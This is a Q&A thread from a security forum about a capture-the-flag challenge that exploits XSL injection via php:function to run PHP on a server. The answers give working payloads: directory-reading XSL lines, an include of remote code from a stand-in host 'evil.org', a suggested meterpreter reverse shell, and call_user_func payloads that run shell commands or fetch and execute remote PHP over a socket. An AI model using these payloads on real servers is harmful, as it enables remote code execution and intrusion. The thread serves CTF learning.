12

There is a security challenge where you have to execute code on the server to retrieve a flag, and this code has to be executed using an XSL document.

So I found a way to make the server interpret my own XSL file, And I used the php:function functionality to execute a php function on the server. Here is an example of the code I'm giving to the server:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','index.php')"/>
</xsl:template>
</xsl:stylesheet>

This code will output the source code of the page index.php.

The next step is to execute scandir on the server to list the current directory (to find the flag). The problem that I'm having is that the response from the server is only Array, that's all what the server outputs.

After searching for almost 8 hours, I'm stuck, and I can't find any XSL functionality that will output the array returned by scandir.

Notes:

  • The functions that allow code execution (eval, exec, passthru, popen, proc_open, shell_exec, system) are disabled by the server.
  • I'm really a beginner (complete noob) in the XSL and XML languages.
Anders
  • 64,406
  • 24
  • 178
  • 215
Sidahmed
  • 639
  • 2
  • 9
  • 26
  • 1
    This could be completely useless, but if you are getting back `Array` it suggests to me that you are falling "vicitim" to some standard PHP behavior. Namely, if you ask php to echo an array (or generally convert it to a string) PHP will convert it to a literal `Array` string. Do you have a way of chaining together function calls, so that what you actually execute is something like `print_r(scandir())` or `implode("\n", scandir())`? – Conor Mancone Oct 05 '17 at 17:46
  • I tired to nest functions, but since the function scandir is returning only the word array, the print_r doesn't do anything – Sidahmed Oct 05 '17 at 17:47
  • I did try implode too, it didn't work, because the scandir is returning 'Array' to xsl, and that value is sent to implode, and it gives me a type error – Sidahmed Oct 06 '17 at 12:27

4 Answers4

14

I am also a noob when it comes to XSL. To be honest, I had no idea it could be this powerful... and dangerous. But I will have a shot at this anyway.

I don't know if it is possible to get the output from a function returning an array. Perhaps you can nest function calls somehow? But given my lack of knowledge about XSL I can't tell you how. So lets work around the whole problem instead. Is there a way to get the directory listing without having to deal with arrays at all?

Enters the PHP manual. The two following functions look useful:

resource opendir ( string $path [, resource $context ] )

Opens up a directory handle to be used in subsequent closedir(), readdir(), and rewinddir() calls.

string readdir ([ resource $dir_handle ] )

Returns the name of the next entry in the directory. The entries are returned in the order in which they are stored by the filesystem. [...] If the directory handle is not specified, the last link opened by opendir() is assumed.

So you will not be able to get the resource from opendir, but since readdir kindly assumes you want to read from the last resource it might work anyway. I suggest an attack file with something like this:

<xsl:value-of select="php:function('opendir','/some/where/')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
...

Edit: Apparently there is an undocumentet php:functionString() that "will automatically convert output to a string", according to a comment on php.net. Not sure if it helps, but worth a try.

Anders
  • 64,406
  • 24
  • 178
  • 215
  • I did try for the `functionString`, and it returned the same thing. when I get home I will try the first option (`readdir`) and I will inform you about the results. – Sidahmed Oct 11 '17 at 14:31
  • Neat trick! Hadn't considered that behaviour of `readdir` before. – Polynomial Oct 12 '17 at 13:10
  • Would using an [entity reference](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing) also be an option? – JimmyJames Oct 16 '17 at 20:01
1

xmlns:php="http://php.net/xsl"

Gosh! I had no idea documentation was so powerful!

The response "Array" is what you get when you carry out an implicit cast of an array to a string in php. Just wrap your call to scandir in something which will return a better string representation, as Conor suggests e.g.

 implode(',', scandir('/some/where'))

(with reference to the comment - print[_r] is going to send it to the stdout - but the XSL interface appears to be reading the return value directly).

Assuming that the php:function interface does not allow this, then you could try using one of the directory iterator objects (objects have nicer serialization mehods).

Another approach would be to just include PHP code from a remote site....

php:function('include','http://evil.org/interrogator.php')
symcbean
  • 18,278
  • 39
  • 73
  • The server is showing me this when I try include : `Warning: XSLTProcessor::transformToXml(): Unable to call handler include() in [...]` – Sidahmed Oct 09 '17 at 19:37
0

If you have arbitrary php code execution on the server through that xslt, you can cut out the middle man and use a php meterpreter with reverse TCP Connection in metasploit and have a meterpreter on the box. Thus, if the flag is not in the file name but rather the content of a file, you can easily download or cat it.

You can use generate -t raw in msf with the configured php meterpreter as a module and get the php code for easy copy pasta.

Tobi Nary
  • 14,302
  • 8
  • 43
  • 58
0

Note: after having written this answer, I'm starting to doubt if you can pass an anonymous function through the attack vector that is available to you. I'm leaving this answer here so you can try it out, if you feel like it.

Hmm... given the scenario you describe, I would attempt to leverage the power of call_user_func(), preg_replace_callback() or usort()1, in combination with an anonymous function.

If any of the functions that accept a callback are available to you, you gain access to almost the full potential of PHP.


Some examples using call_user_func():

Example 1
Calling scandir():

<xsl:value-of select="php:function('call_user_func', function(){
    return print_r(scandir('..'), true);
})"/>


Example 2
Since this is a capture the flag setting, check to see if the Execution Operator is left enabled (I doubt it, but it's worth a try):

<xsl:value-of select="php:function('call_user_func', function(){
    return `ls -al`;
})"/>



Given that call_user_func() allows build your own functions, you do other stuff as well.

Example 3
Check the server's configuration:

<xsl:value-of select="php:function('call_user_func', function(){
    ob_start();
    phpinfo();
    return ob_get_clean();
})"/>


Example 4
Open a socket, make a HTTP request and include the result as a PHP file through the data stream wrapper, which may potentially allow you to bypass some security restrictions:

<xsl:value-of select="php:function('call_user_func', function(){
    ob_start();
    error_reporting(~0);
    ini_set(\'display_errors\', true);

    $errno = 0;
    $errstr = \'\';
    if (false === ($fp = fsockopen(\'evil.org\', 80, $errno, $errstr, 60))) {
        return \'Failed opening socket (\'.$errno.\')\': \'.$errstr;
    }

    fwrite($fp, &quot;GET / HTTP/1.1\r\nHost: evil.org\r\nConnection: Close\r\n\r\n\&quot;);
    $out = \'\';
    while (!feof($fp)) {
        $out .= fgets($fp, 128);
    }
    fclose($fp);
    include(\'data://text/plain;base64,\'.base64_encode($out));
    echo &quot;\n\nOk\n&quot;;
    return ob_get_clean();
})"/>

Note: if, in the code example above, \' does not work, try replacing it with &apos;.

If you can't include remote content, you'll have to supply all required functionality as a string, which is less convenient, but not necesarily less powerful.


1 Other functions that accept a callback function exist, so, if the functions mentioned in this answer are blocked, it's a matter of trail and error until you find one that is available.

Jacco
  • 7,402
  • 4
  • 32
  • 53